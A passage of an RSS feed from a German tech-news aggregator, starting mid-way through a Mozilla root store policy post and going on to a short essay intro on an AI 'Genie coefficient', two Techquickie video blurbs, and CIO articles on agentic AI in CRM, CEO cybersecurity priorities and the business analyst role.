<p>Mozilla recognizes that these changes will require preparation by CA operators, auditors, and other ecosystem participants. To support implementation, Mozilla is publishing accompanying wiki guidance regarding both <a href="https://wiki.mozilla.org/CA/CP-CPS_Guidance">CP/CPS Documentation</a> and <a href="https://wiki.mozilla.org/CA/DCRs">Detailed Controls Reports</a>.</p>
<p>As with previous policy updates, these changes were informed by discussions with CA operators, auditors, and members of the Web PKI community. We appreciate the feedback received during the review process and look forward to continued collaboration as the ecosystem evolves.</p>
<p>Mozilla has a longstanding focus on building confidence in the Web PKI through transparency, accountability, and continuous improvement. By requiring higher-quality CP/CPS documentation and strengthening independent assurance, MRSP v3.1 advances Mozilla’s commitment to protecting its users and maintaining their trust in the systems that help secure the web.</p>
<p>The post <a href="https://blog.mozilla.org/security/2026/06/29/improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v3-1/">Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1</a> appeared first on <a href="https://blog.mozilla.org/security">Mozilla Security Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI Needs a “Genie Coefficient”]]></title>
<description><![CDATA[This essay was written with Barath Raghavan, and originally appeared in IEEE Spectrum.
Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a n...]]></description>
<link>https://tsecurity.de/de/3693275/reverse-engineering/why-ai-needs-a-genie-coefficient/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693275/reverse-engineering/why-ai-needs-a-genie-coefficient/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:58 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This essay was written with Barath Raghavan, and originally appeared in <a href="https://spectrum.ieee.org/ai-agent-benchmark">IEEE Spectrum</a>.</em></p>
<p>Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a new metric: the Genie coefficient.</p>
<p>There’s often a gap between one person’s request and another’s understanding. Most of the time, we bridge it using general knowledge. For example, if you ask a friend to get you coffee, they’ll pour a cup from the pot or buy one from a coffee shop. They won’t bring you a bag of raw beans or snatch a cup from a stranger and hand it to you. You never specified any of this. You never had to...</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Understanding different types of OLED TVs and displays]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 5027x - Views:93409 Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You'll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonus ...]]></description>
<link>https://tsecurity.de/de/3693266/videos/understanding-different-types-of-oled-tvs-and-displays/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693266/videos/understanding-different-types-of-oled-tvs-and-displays/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:42 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 5027x - Views:93409 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/TpVM45JNupQ?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You&#039;ll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonus and start playing today!<br />
<br />
PC/Console: https://playwt.link/techquickie <br />
Mobile:  https://wtm.game/techquickie <br />
<br />
Remember when OLED was simple? You paid a premium, you got perfect blacks, and you called it a day. Fast forward to 2026, and we’re drowning in an alphabet soup of WOLED, QD-OLED, and &quot;Penta-Tandem&quot; stacks. Today we’re breaking it all down and we’ve got the answers.<br />
Special thanks to Ron Mertens, CEO of Metalgrass and founder of OLED-info, for joining us and sharing over 20 years of expertise in the display industry.<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why The Fastest Memory Isn't In Your PC (HBM explained)]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 4552x - Views:77047 Thanks to Micron for sponsoring this video!

To learn more about High-Bandwidth Memory (HBM), check out: https://www.micron.com/products/memory/hbm

Interested in helping to shape the future of cutting edge memory and storage: https://www.micro...]]></description>
<link>https://tsecurity.de/de/3693236/videos/why-the-fastest-memory-isnt-in-your-pc-hbm-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693236/videos/why-the-fastest-memory-isnt-in-your-pc-hbm-explained/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:58 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 4552x - Views:77047 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/-mKb75P7wT0?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Thanks to Micron for sponsoring this video!<br />
<br />
To learn more about High-Bandwidth Memory (HBM), check out: https://www.micron.com/products/memory/hbm<br />
<br />
Interested in helping to shape the future of cutting edge memory and storage: https://www.micron.com/about/careers<br />
<br />
Modern AI chips don&#039;t run on the kind of memory in your gaming PC. They run on something that&#039;s literally stacked into a tiny skyscraper, with tens of thousands of microscopic data tunnels drilled through it and a custom silicon motherboard underneath. We sat down with the engineers at Micron to break down how High Bandwidth Memory actually works, why it&#039;s the backbone of every serious AI accelerator on the planet, and why your gaming GPU still uses a totally different kind of memory.<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]></title>
<description><![CDATA[Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.



“Last year, everybo...]]></description>
<link>https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</guid>
<pubDate>Sat, 25 Jul 2026 06:53:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of <a href="https://www.cio.com/article/272365/what-is-crm-software-for-managing-customer-data.html">customer relationship management (CRM)</a>, the platform that manages sales, marketing, and customer service.</p>



<p class="wp-block-paragraph">“Last year, everybody was dipping their toes into the water,” says <a href="https://futurumgroup.com/keith-kirkpatrick/">Keith Kirkpatrick</a>, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/global/en/about/people/profiles.gx-harry-datwani+f20748dc.html">Harry Datwani</a>, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”</p>



<p class="wp-block-paragraph">“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.</p>



<p class="wp-block-paragraph">“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst <a href="https://www.forrester.com/analyst-bio/kate-leggett/BIO2629">Kate Leggett</a>, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.</p>



<p class="wp-block-paragraph">Here are the hot AI-driven trends in CRM this year.</p>



<h2 class="wp-block-heading">CRM becomes an action hero</h2>



<p class="wp-block-paragraph">CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.</p>



<p class="wp-block-paragraph">“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005191">Neil Ward-Dutton</a>. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”</p>



<p class="wp-block-paragraph">Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.</p>



<p class="wp-block-paragraph">She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.</p>



<h2 class="wp-block-heading">Agentic drives workforce changes</h2>



<p class="wp-block-paragraph">AI use in CRM systems is also impacting workforce strategies.</p>



<p class="wp-block-paragraph">“We used to hire for deep expertise,” says Constellation Research analyst <a href="https://www.constellationr.com/user/liz-miller">Liz Miller</a>. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”</p>



<p class="wp-block-paragraph">Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.</p>



<p class="wp-block-paragraph">For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.</p>



<p class="wp-block-paragraph"><a href="https://www.servicenow.com/workflow/author/terence-chesire.html">Terence Chesire</a>, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”</p>



<p class="wp-block-paragraph">“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.</p>



<h2 class="wp-block-heading">Data layer takes center stage</h2>



<p class="wp-block-paragraph">AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.</p>



<p class="wp-block-paragraph">“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”</p>



<p class="wp-block-paragraph">The good news, says Datwani, is that AI agents themselves can <a href="https://www.cio.com/article/2140371/gen-ai-can-be-the-answer-to-your-data-problems-but-not-all-of-them.html">help clean up and organize data</a>. And vendors such as <a href="https://www.cio.com/article/4030966/snowflake-and-databricks-vie-for-the-heart-of-enterprise-ai.html">Snowflake and Databricks</a>, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.</p>



<p class="wp-block-paragraph">Forrester’s Leggett adds that CRM platforms are converging with <a href="https://www.cio.com/article/308839/top-8-customer-data-platforms.html">customer data platforms (CDPs)</a>, real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.</p>



<h2 class="wp-block-heading">Agentic ushers in pricing complexity</h2>



<p class="wp-block-paragraph">The shift from license- or subscription-based pricing to an <a href="https://www.cio.com/article/3624540/how-will-ai-agents-be-priced-cios-need-to-pay-attention.html">outcome or consumption pricing model</a> has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">new level of complexity</a> when it comes to budgeting for CRM costs.</p>



<p class="wp-block-paragraph">For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.</p>



<p class="wp-block-paragraph">Meanwhile, Salesforce has <a href="https://www.cio.com/article/4189183/salesforce-unveils-ai-help-agent-with-pay-per-resolution-pricing.html">rolled out pay-per-resolution pricing</a> with its recently unveiled AI Help Agent and last month <a href="https://www.cio.com/article/4183667/salesforce-to-acquire-usage-based-billing-specialist-m3ter.html">acquired usage-based billing specialist m3ter</a>. Oracle is also <a href="https://www.cio.com/article/4184271/oracle-wades-into-outcome-based-ai-billing-waters.html">piloting outcome-based AI pricing</a>.</p>



<p class="wp-block-paragraph">All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.</p>



<h2 class="wp-block-heading">The rise of multi-agent orchestration</h2>



<p class="wp-block-paragraph">To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.</p>



<p class="wp-block-paragraph">He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.</p>



<p class="wp-block-paragraph">Kirkpatrick predicts that a <a href="https://www.cio.com/article/4138739/21-agent-orchestration-tools-for-managing-your-ai-fleet.html">new class of orchestration tools</a> will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.</p>



<p class="wp-block-paragraph">Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”<em></em></p>



<h2 class="wp-block-heading">The interface becomes conversational</h2>



<p class="wp-block-paragraph">Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.</p>



<p class="wp-block-paragraph">ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.</p>



<p class="wp-block-paragraph">On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.</p>



<p class="wp-block-paragraph">Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.</p>



<h2 class="wp-block-heading">Agentic drives business process transformation</h2>



<p class="wp-block-paragraph">With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”</p>



<p class="wp-block-paragraph">“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”</p>



<p class="wp-block-paragraph">According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.</p>



<p class="wp-block-paragraph">“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to use themes in Google Messages so you never text the wrong person again]]></title>
<description><![CDATA[You've probably had an occasion where you've sent the wrong response to the wrong person. I've found a way to avoid this problem.]]></description>
<link>https://tsecurity.de/de/3693111/it-nachrichten/how-to-use-themes-in-google-messages-so-you-never-text-the-wrong-person-again/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693111/it-nachrichten/how-to-use-themes-in-google-messages-so-you-never-text-the-wrong-person-again/</guid>
<pubDate>Sat, 25 Jul 2026 06:45:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[You've probably had an occasion where you've sent the wrong response to the wrong person. I've found a way to avoid this problem.]]></content:encoded>
</item>
<item>
<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



